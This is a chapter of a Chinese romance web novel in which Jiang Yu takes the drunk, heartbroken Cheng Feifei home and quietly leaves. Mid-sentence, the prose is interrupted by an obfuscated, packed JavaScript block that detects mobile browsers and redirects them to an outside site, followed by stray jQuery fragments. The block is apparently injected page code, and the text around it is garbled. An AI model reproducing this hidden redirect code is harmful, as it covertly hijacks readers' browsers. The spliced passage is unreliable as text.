“草,你谁啊!” 江羽一脸担忧地扶住程霏霏,晃了晃她:“你还好吗?” 男子心中一紧——糟糕,八成是遇到女的男朋友了。 他二话不说,立刻变身怂包,还没来得及承受江羽更多的怒火,自己就先钻进出租车,一溜烟跑了。 程霏霏觉得,好像有什么人在轻轻晃着自己的脸。 她脑袋一片混沌,眼睛勉强睁开一条缝,视线里出现一张近在咫尺的侧颜。 路灯的光从高处俯下,将这张脸的一半隐入暗影,只能看到光影交界处完美的下颌线。 江羽明亮的眸子看过来,担忧的神情是那么似曾相识,令程霏霏心头一颤。 心间顷刻便塌了一块。 记忆天旋地转,恍若将她拉进了颠倒的时空,分不清楚今夕何夕。 程霏霏忽然觉得十分委屈,压抑了一整晚的眼泪止不住地往上涌,瞬间就湿了眼眶。 她猛地扑进江羽怀中,搂住他的脖子,呜咽着哭喊:“你去哪里了?我找你找得好辛苦啊!” 江羽突然之间被她抱住,整个人僵怔在了原地,两只手悬空着,不知道该往哪儿放。 程霏霏则死搂着他不撒手,伏在他怀里,哭得梨花带雨,还断断续续地嚷着他听不懂的话。 “呜呜呜——你怎么可以把我丢下不管!” 江羽惊讶地睁大了眼睛,虚虚地抱着她,拍着她的背安慰:“……没有,我不会把你丢下不管。” “你有——”程霏霏贴在他的胸口,双手紧紧攥着他的外套,眼泪糊了满脸。 她软着脚,把全部重量压在他身上,嘴里说着颠来倒去的醉话。江羽任由她在自己的怀里恸哭,头发胡乱蹭着他的下颌,不得不揽住她的腰身,防止她跌倒。 夜深了,寒风穿过楼宇,卷着冰冷的潮气,扫荡着空旷的街头。 程霏霏只穿了一条轻薄的连衣裙,连件扛风的外套都没有。她像一只柔软的小兔子,蜷缩在江羽怀里,自觉寻找着热源。 江羽搂着她不盈一握的细腰,感到她的身体在轻轻发抖。 他退开一些,脱下自己的外衣,整个罩在她身上。 “太晚了,我送你回学校好不好?” 一听要回学校,程霏霏哭着摇头:“不回学校……他们在学校里……我不回去!” “他们”是谁? 江羽只当程霏霏喝多了,尽量顺着她,妥协道:“好,不回学校。那你想去哪里?我们得找一个暖和的地方,这样下去,你会冻坏的。” 听到这话,程霏霏皱着眉头,似乎仔细思考了一会儿。 她踮起脚尖,贴着江羽的耳侧,颠来倒去地说了一个地址。 …… 半个小时后,江羽扶着人,从出租车上下来。 映入眼帘的是一片热闹的住宅区。 此处距离江城大学不远,宽阔的人行道上栽种着整齐的行道树,隔着一条马路,就是江边的湿地公园。 因着地段方便,不少江大的学生和教职工都住在这里。 时间已经很晚,小区门口依然有背着书包下课回家的年轻人。保安亭里的大爷正在值夜班,收音机里传出依哩哇啦的戏曲声。 江羽背起意识不清的人,走进小区大门。 * 程霏霏的意识仿佛沉浸在一汪温热的泉水中,浮浮沉沉,混沌不清。 蜷了蜷手指,触手是一片泛着体温的肩膀。她才发觉,自己双脚腾空,正伏在什么人的背上。 这种感觉如此熟悉,令她刚刚风干的眼角重新又湿润了起来。 程霏霏张开双臂,搂住身前的人,闷声撒娇:“走慢点,我头晕……” 给她抱了一晚上,江羽已经习惯了各种突如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861487|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其来的亲近。他不由放慢了脚步,哄着背上的人:“坚持一下,马上就到了。” 这片小区很大,植物密密丛丛,他背着人走了好久,才找到正确的楼栋。 进了电梯,四周的光线一下子明亮起来。 镜面墙体映照出少女姣好的容颜。江羽看到镜子里的程霏霏双目轻阖,檀口微启,哭得眼角和鼻尖都红彤彤的。 她紧紧环着他,胸前的柔软严丝合缝地贴上他的脊背,令他浑身的汗毛都随着她的呼吸轻轻颤栗。 江羽的耳根已是红到滴血。 电梯很快到达十五楼,江羽将程霏霏放下,轻轻晃了晃她的胳膊。 “醒醒,到家了。” “唔……” 程霏霏靠在墙上,手下意识地在包里摸索。窸窸窣窣间,一个暗色的物件掉了出来,“啪嗒”一声,摔在地砖上。 江羽弯腰捡了起来。 是一个略微泛旧的皮质钥匙扣。 ——怎么有点眼熟? 他还没来得及细看,就被程霏霏一把抢了过去,塞回包里。 “这是我的!” 江羽只觉得好笑,不和醉鬼计较,扶着她的手,“滴”一声打开电子门锁,将人搀了进去。 摸索着打开墙上的灯,客厅霍然大亮。 这是一套很温馨的小两居,面积虽然不大,但胜在布置得清新雅致,属于女孩子的气息扑面而来。 客厅的尽头连着一处小阳台,此时,曳地的米色窗帘没有拉合,露出大片绿意盎然的风景。 十五楼的视野绝佳,树林之外,黑沉的江面一派风平浪静,沿着模糊的岸边灯火蜿蜒而去。 江羽蹲下身,脱掉程霏霏脚上的细软小皮鞋,将人打横抱起,放倒在了客厅奶白色的沙发上。 刚要起身,却被程霏霏捉住了衣角:“……别走。” “我不走。”江羽柔声安抚着,慢慢松开她的手指。 程霏霏不安地蹙着眉,伸了伸胳膊,想要贪图那个充满安全感的怀抱。 江羽在房子里转了转,找到洗手间,取下隔断上的洗脸巾,拧开热水。 程霏霏感到有什么细软的东西轻轻烘着自己的脸,将那些泪痕擦净。 沙发的材质绵软,是程霏霏最喜欢的款式。她拱了拱身子,找到一个舒服的角度,很快就沉入了梦乡。 江羽半跪在地毯上,注视着这张安静的睡颜。 没有了生动的情绪,这张脸显得愈发柔和清纯,让人忍不住想要触碰。 他怔怔地抬起手,指尖在粉嫩的唇角处生生停住,不敢再靠近。 “李泽昱……”程霏霏似乎陷入了梦中,断断续续地呓语,“为什么不喜欢我……” 江羽的指尖一僵。 她今晚哭得这样伤心,原来是为了那个人。 对自己这般信任地投怀送抱,是不是也把他当成了谁? 江羽望着她毫不设防的睡颜,喟然轻叹:“就这么喜欢他?” 沙发上的人睡得香甜,自然不会回答。 窗外,寒风裹着冷雨倾泻而下,噼里啪啦地砸落在窗户上,将开阔的视野模糊成一片。 江羽抖开一条软糯的羊绒毯,动作轻柔地盖在她身上。 整个人卸力地坐在地板上。 背靠着沙发,江羽听着身后少女清浅的呼吸声,心中也像大雨过境一般,湿漉漉的。 所以,那个家伙竟然……拒绝了你吗? 江羽望着虚空,落寞地嗤笑出声:“真没眼光。” 墙上的时针走过一格,身后的呼吸渐沉,已经陷入深眠。 江羽知道,自己该走了。 他轻手轻脚地站起来,给程霏霏掖了掖被角。直起身的时候,视线忽然在半空中顿住。 客厅角落的置物架上,堆放着满满当当的黑胶碟片。最上面的一张,是著名小提琴家羽婷的同名专辑——《雨停》。 江羽怔怔地走过去,盯着那张碟片。 外壳的包装有些许旧色,显然经常被拿出来反复播放。 封面的设计很古典,上面印着羽婷端庄的容颜。 江羽望着这张脸,眼底逐渐泛起一抹温柔的水光。手指轻抬,想要蹭一蹭专辑的边缘。 最终却又自嘲地一笑,讪讪地垂下了手。 窗外的雨没有丝毫停歇的迹象,整个城市像罩在一块巨大的玻璃罩子里,连呼吸都变得沉重。 江羽最后看了一眼沙发上沉醉不醒的人,打开房门,悄然离去。